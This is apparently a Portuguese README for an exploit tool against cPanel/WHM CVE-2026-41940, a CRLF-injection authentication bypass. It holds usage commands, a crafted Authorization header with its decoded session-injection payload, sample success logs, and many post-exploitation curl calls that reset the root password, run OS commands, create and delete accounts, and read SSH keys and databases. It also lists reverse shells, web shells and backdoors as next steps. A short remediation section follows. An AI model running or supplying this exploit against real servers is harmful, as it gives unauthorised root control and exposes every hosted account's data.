
Exploração crítica de bypass de autenticação para cPanel/WHM CVE-2026-41940. Explora a injeção de CRLF no daemon cpsrvd para obter acesso root ao WHM sem credenciais. Inclui detecção de versão, log detalhado, suporte a proxy, relatórios JSON e enumeração de contas pós-exploração. Apenas para testes de segurança autorizados.
Bypass crítico de autenticação via injeção de CRLF no daemon cpsrvd do cPanel/WHM
CVE-2026-41940 é uma vulnerabilidade crítica de bypass de autenticação no cPanel & WHM que permite que atacantes remotos não autenticados obtenham acesso administrativo de nível root ao servidor. A vulnerabilidade existe no tratamento de sessão do daemon
cpsrvd, especificamente dentro deCpanel/Session.pm, onde a neutralização inadequada dos delimitadores de linha (CRLF) no cookiewhostmgrsessione nos cabeçalhosAuthorizationpermite a injeção de parâmetros de sessão.
| Pontuação CVSS | Tipo de Exploit | Impacto | Vetor de Ataque |
|---|---|---|---|
| 9.8 | Bypass de Autenticação | Acesso Root | Rede |
Esta ferramenta de exploit fornece os seguintes recursos principais:
🔓 Bypass de Autenticação - Obtenha acesso root ao WHM sem credenciais
🛡️ Múltiplas Técnicas de Bypass - Tenta automaticamente diferentes métodos de verificação
🌐 Suporte a Proxy - Roteie o tráfego por meio de proxies HTTP/HTTPS
📊 Relatórios JSON - Gere relatórios detalhados de avaliação
📝 Registro Abrangente - Modo de depuração detalhado com carimbos de data/hora
🔍 Detecção de Versão - Detecte e verifique automaticamente versões vulneráveis
👥 Enumeração de Contas - Liste todas as contas cPanel após a exploração
🎯 Múltiplos Endpoints - Tenta vários endpoints de API para verificação
A vulnerabilidade decorre de dois problemas principais:
Injeção de CRLF no Armazenamento de Sessão - A função saveSession não sanitiza caracteres de nova linha (\n) no campo pass antes de gravar no arquivo de sessão, permitindo a injeção de parâmetros arbitrários de sessão.
Bypass Condicional de Codificação - Quando o cookie de sessão não possui a parte ob (o segmento após a vírgula), o valor de pass é gravado sem codificação (texto puro), permitindo a injeção de sequências de CRLF.
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
O exploit primeiro obtém um cookie de sessão de pré-autenticação ao tentar um login com falha:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
Resposta:
Set-Cookie: whostmgrsession=base64_encoded_data
O cabeçalho Authorization cuidadosamente elaborado injeta parâmetros maliciosos de sessão:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
Payload Decodificado:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
O servidor responde com um redirecionamento contendo o token de sessão administrativa:
Location: /cpsess1234567890/
O exploit tenta vários métodos de verificação para confirmar o acesso root.
Após a exploração bem-sucedida, use os seguintes comandos com o token obtido:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
Uma vez obtido o acesso root ao WHM, um atacante pode:
🔍 Listar todas as contas cPanel
👤 Criar novas contas cPanel
🔑 Modificar senhas de contas
❌ Excluir ou suspender contas
🖥️ Executar comandos do sistema operacional
🔄 Alterar a senha do root
📊 Visualizar estatísticas do servidor
🗄️ Gerenciar bancos de dados MySQL
🐚 Implantar reverse shells
🌐 Instalar web shells
🗝️ Instalar backdoors
🔒 Criar contas de administrador ocultas
📁 Acessar todos os arquivos do servidor
💾 Exportar bancos de dados
📧 Ler contas de e-mail
🔐 Acessar certificados SSL
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ Implementar validação rigorosa de entrada para prevenir injeção de CRLF
✅ Implantar regras de WAF para detectar e bloquear requisições maliciosas
✅ Ativar restrições de acesso baseadas em IP para o WHM
✅ Atualizar regularmente o cPanel/WHM para as versões mais recentes
✅ Realizar avaliações de segurança regulares
✅ Monitorar logs em busca de atividades suspeitas
✅ Implementar o princípio do menor privilégio
✅ Ativar o Security Advisor no WHM
✅ Realizar auditorias de segurança regulares
✅ Implementar sistema de detecção de intrusão
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa ética em segurança. O autor e os colaboradores não são responsáveis por qualquer uso indevido ou dano causado por este software. Ao usar esta ferramenta, você concorda em assumir toda a responsabilidade por suas ações. Certifique-se de ter permissão explícita antes de testar em qualquer sistema.
Aceitamos contribuições! Siga estes passos:
🍴 Crie um fork do repositório
🔧 Crie sua branch de recurso (git checkout -b feature/amazing-feature)
💾 Faça commit das suas alterações (git commit -m 'Add amazing feature')
📤 Envie para a branch (git push origin feature/amazing-feature)
🔃 Abra um Pull Request
🎉 Lançamento inicial
🔓 Implementação do exploit de injeção de CRLF
🛡️ Múltiplas técnicas de bypass de verificação
📊 Geração de relatório JSON
🌐 Suporte a proxy
📝 Registro abrangente
🔍 Detecção de versão
👥 Enumeração de contas
📚 Comandos abrangentes de pós-exploração
Aviso de Segurança - [email protected]
Issues do GitHub - Criar Issue
⚠️ LEMBRE-SE: Com grandes poderes vêm grandes responsabilidades! Use com ética! ⚠️
Feito com ❤️ para a comunidade de segurança
| Atributo | Valor |
|---|
| ID CVE | CVE-2026-41940 |
| Pontuação CVSS | 9.8 (Crítica) |
| Tipo de Vulnerabilidade | Bypass de Autenticação via Injeção de CRLF |
| Componente Afetado | daemon cpsrvd (Cpanel/Session.pm) |
| Vetor de Ataque | Rede |
| Impacto | Acesso Root Total |
| Exploração | Remota Não Autenticada |
| Trilha de Lançamento | Vulnerável até | Versão Corrigida |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| Argumento | Curto | Obrigatório | Descrição |
|---|
--target | -t | ✅ | URL do alvo (ex.: https://target.com:2087 ) |
--verbose | -v | ❌ | Ativar saída detalhada/depuração |
--proxy | -p | ❌ | URL do proxy (ex.: http://127.0.0.1:8080 ) |
--output | -o | ❌ | Arquivo de saída para o relatório JSON |
--timeout | ❌ | Tempo limite de requisição em segundos (padrão: 10) | |
--list-accounts | -l | ❌ | Listar contas cPanel após exploração bem-sucedida |
--version | ❌ | Mostrar versão do exploit |